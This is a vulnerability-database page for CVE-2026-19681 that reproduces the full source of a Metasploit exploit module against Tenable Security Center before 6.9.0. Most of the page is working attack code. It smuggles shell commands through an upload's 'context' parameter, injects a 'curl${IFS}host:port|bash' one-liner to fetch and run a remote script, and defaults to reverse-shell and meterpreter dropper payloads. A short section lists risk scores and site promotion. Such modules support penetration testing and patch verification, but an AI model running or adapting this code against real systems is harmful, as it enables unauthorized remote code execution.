Lucene search
+L

Tenable Security Center SCAP Audit File Command Injection

🗓️ 13 Aug 2026 00:00:00Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Command injection in Tenable Security Center before 6.9.0 via SCAP audit file upload allowing RCE as tns.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for OS Command Injection in Tenable Security_Center
24 Aug 202610:33
githubexploit
githubexploit
GithubExploit
poc_cve_2026_19681
23 Aug 202613:12
githubexploit
attackerkb
ATTACKERKB
CVE-2026-19681
14 Aug 202617:45
attackerkb
circl
Circl
CVE-2026-19681
14 Aug 202619:00
circl
cve
CVE
CVE-2026-19681
14 Aug 202617:45
cve
cvelist
Cvelist
CVE-2026-19681 Command Injection
14 Aug 202617:45
cvelist
euvd
EUVD
EUVD-2026-58745
14 Aug 202617:45
euvd
kitploit
Kitploit
POC-CVE-2026-19681
25 Aug 202604:28
kitploit
nvd
NVD
CVE-2026-19681
14 Aug 202618:17
nvd
packetstorm
Packet Storm
Tenable Security Center SCAP Audit File Command Injection
26 Aug 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def tailoring_xml
    collection = Rex::Text.rand_text_alphanumeric(8)
    benchmark = Rex::Text.rand_text_alphanumeric(8)
    profile = Rex::Text.rand_text_alphanumeric(8)
    <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <ds:data-stream-collection xmlns:ds="http://scap.nist.gov/schema/scap/source/1.2"
                                 xmlns:xccdf="http://checklists.nist.gov/xccdf/1.2"
                                 id="#{collection}">
        <xccdf:Benchmark id="xccdf_#{benchmark}" version="1.0">
          <xccdf:status>draft</xccdf:status>
          <xccdf:title>#{benchmark}</xccdf:title>
          <xccdf:Profile id="xccdf_#{profile}" extends="xccdf_#{benchmark}">
            <xccdf:title>#{profile}</xccdf:title>
          </xccdf:Profile>
        </xccdf:Benchmark>
      </ds:data-stream-collection>
    XML
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tenable Security Center SCAP Audit File Command Injection',
        'Description' => %q{
          Tenable Security Center prior to 6.9.0 allows an authenticated user to
          achieve command execution as the web service account (tns) via the SCAP
          audit file upload flow.

          Filesystem::saveTmp() builds staged upload filenames from the raw
          client-supplied `context` form parameter (tempnam prefix), which is not
          charset-validated. Referencing that staged file in a
          POST /rest/auditFile (type=scapLinux, version=1.2) request reaches
          AuditFileLib::addSCAPTailoringFile(), where the zip repack command
          interpolates the derived path unescaped:

          exec("{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc");

          basename() strips '/' but not shell metacharacters, so a context like
          `p;CMD;` executes CMD through /bin/sh.

          Constraints (measured on 6.7.2): the staged-name prefix survives only
          ~50 characters of context and may not contain '/' (saveTmp() applies
          basename()). This module therefore serves the payload over HTTP and
          injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port
          GETs / and bash reads the served script from stdin). The served script
          itself has no such limits, which the Linux Dropper target exploits
          with a fetch payload (cmd/linux/http/...) that downloads and execs a
          full native payload (e.g. x64 meterpreter) from the payload adapter's
          own listener on FETCH_SRVPORT.

          Tested against SecurityCenter 6.7.2-14 on RHEL9.
        },
        'License' => MSF_LICENSE,
        'Author' => ['h00die'],
        'References' => [
          ['CVE', '2026-19681'],
          ['URL', 'https://www.tenable.com/security/tns-2026-22']
        ],
        'DisclosureDate' => '2026-08-13',
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          # msf defaults to php payload, but SC bundles its own php and its not in the path so
          # we want to avoid that since it'll fail
          ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload
          # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;
          # x86/aarch64/multi variants of cmd/linux/http/... work here too
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                # pinned: a native stage must come through a fetch payload to fit
                # the length/charset-limited curl|bash injection
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'PrependFork' => true,
          'WfsDelay' => 10,
          # fetch-payload staging (module-level so they apply even when the
          # payload is selected by hand rather than via the Dropper target):
          # the web process cwd isn't writable by tns, so stage from /tmp, and
          # keep the fetch listener off this module's SRVPORT script server
          'FETCH_WRITABLE_DIR' => '/tmp',
          'FETCH_SRVPORT' => 8081
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ])
  end

  def login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'token'),
      'ctype' => 'application/json',
      'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json
    )
    fail_with(Failure::Unreachable, 'No response to login') unless res
    json = res.get_json_document
    fail_with(Failure::NoAccess, "Login failed: #{json['error_msg']}") if json['error_code'] != 0

    token = json['response']
    token = token['token'] if token.is_a?(Hash)
    fail_with(Failure::NoAccess, "No token in login response: #{json}") if token.blank?

    # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is
    # only accepted alongside it (HttpClient keeps no cookie jar of its own).
    # SC rotates the session id on login (two Set-Cookie headers) — keep only the
    # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)
    session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last
    fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session
    @cookies = "TNS_SESSIONID=#{session}"
    token.to_s
  end

  def upload(context, data, fname)
    form = Rex::MIME::Message.new
    form.add_part(data, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
    form.add_part(context, nil, nil, 'form-data; name="context"')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'file', 'upload'),
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'data' => form.to_s,
      'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
    )
    fail_with(Failure::Unreachable, 'No response to upload') unless res
    json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "Upload failed: #{json['error_msg']}") if json['error_code'] != 0

    json['response']['filename']
  end

  def audit_file(staged_zip, staged_tail)
    body = {
      'name' => Rex::Text.rand_text_alphanumeric(8),
      'type' => 'scapLinux',            # AuditFileLib validSCAPTypes
      'version' => '1.2',               # tailoring branch requires 1.2
      'benchmarkName' => Rex::Text.rand_text_alphanumeric(8),
      'dataStreamName' => Rex::Text.rand_text_alphanumeric(8),
      'profileName' => '',
      'filename' => staged_zip,
      'originalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}.zip",
      'tailoringFilename' => staged_tail,
      'tailoringOriginalFilename' => "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml",
      'auditFileTemplate' => { 'id' => -1 },
      'description' => Rex::Text.rand_text_alphanumeric(8)
    }
    t0 = Time.now
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest', 'auditFile'),
      'ctype' => 'application/json',
      'data' => body.to_json,
      'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }
    )
    [res, Time.now - t0]
  end

  def fire(context)
    # staged uploads: blank-context zip (content never inspected) + real tailoring
    # XML (the tailoringFile context parses it and requires >= 1 Profile)
    staged_zip = upload(context, Rex::Text.rand_text_alphanumeric(64), "#{Rex::Text.rand_text_alphanumeric(8)}.zip")
    staged_tail = upload('tailoringFile', tailoring_xml, "#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml")
    vprint_status("Staged Files Names: zip='#{staged_zip}' tailoring='#{staged_tail}'")
    audit_file(staged_zip, staged_tail)
  end

  def check
    @token = login
    # state-light differential: sleep canary in the context prefix. On vulnerable
    # builds the zip command stalls; on 6.9.0 (escapeshellarg'd) it returns fast
    # with the post-exec error 106 bounce.
    vprint_status("Attempting to send injected sleep to #{rhost}:#{rport}...")
    res, elapsed = fire("#{Rex::Text.rand_text_alphanumeric(1)};sleep${IFS}7;")
    return CheckCode::Unknown('No response to auditFile') unless res

    json = res.get_json_document
    if elapsed > 5
      CheckCode::Vulnerable("Injected sleep executed (request stalled #{elapsed.round(1)}s)")
    elsif json['error_msg'].to_s.include?('Invalid tailoring filename')
      CheckCode::Safe('Filename validation present (patched, 6.9.0+)')
    else
      CheckCode::Safe("No stall (#{elapsed.round(1)}s); reply: #{json['error_msg']}")
    end
  end

  def on_request_uri(cli, _req)
    # sc brings its own php, so use that location
    if @payload_cmd.end_with?('exec php')
      @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings
    end
    send_response(cli, @payload_cmd, 'Content-Type' => 'text/plain')
  end

  # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an
  # explicit 'ssl' => false gets clobbered (false is falsey) and the server
  # inherits the datastore SSL meant for the 443 client side. The injected
  # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to
  # the datastore ssl) to false so this script server stays http. The Dropper
  # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP
  # too (cmd/linux/https/... exists if that ever needs encrypting).
  def http_server_ssl
    false
  end

  def exploit
    @token = login
    # for the Dropper target payload.encoded is the fetch payload's
    # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,
    # chmod +x, exec); the payload adapter runs that listener itself, so this
    # module only serves the command text at / below
    @payload_cmd = payload.encoded

    srv_ip = srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost

    # plaintext payload server (see http_server_ssl override): datastore SSL
    # stays true for the client side against 443. Path MUST be root — the
    # injected curl|bash fetch carries no path component, and leaving 'Path'
    # unset mounts the default Proc on a random URI instead.
    start_service('Path' => '/')

    inject = "curl${IFS}#{srv_ip}:#{datastore['SRVPORT']}|bash"
    fail_with(Failure::BadConfig, "Injection prefix too long for the tempnam budget: #{inject}") if inject.length > 50

    print_status("Injecting '#{inject}' (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)")
    # baseline BEFORE firing: the dropper can connect back fast enough that the
    # session exists by the time we reach the wait loop
    initial = framework.sessions.count
    res, elapsed = fire("p;#{inject};")

    # no response here is expected and GOOD: a payload like a reverse shell can
    # hold the injected request open (or consume it outright), so the auditFile
    # POST never completes — the session is the real signal, not this reply
    if res
      json = res.get_json_document
      vprint_status("auditFile reply in #{elapsed.round(1)}s: #{json['error_msg']}")
      # error 106 ("Error adding Tailoring file") is the normal post-exec bounce;
      # it also means no AuditFile record was persisted (the GUI stays clean)
    else
      vprint_status('No auditFile reply — the payload likely held the request open')
    end

    # keep the payload server alive while the target's curl|bash runs; module
    # cleanup would otherwise tear it down before the fetch lands
    print_status('Waiting for the payload fetch and session...')
    waited = 0
    while waited < 20 && framework.sessions.count == initial
      Rex.sleep(1)
      waited += 1
    end
    if framework.sessions.count > initial
      print_good('Session opened')
    else
      print_warning("No session after #{waited}s — verify #{srv_ip}:#{datastore['SRVPORT']} is reachable from the target")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 49.4
CVSS 3.19.9
EPSS0.07801
SSVC
5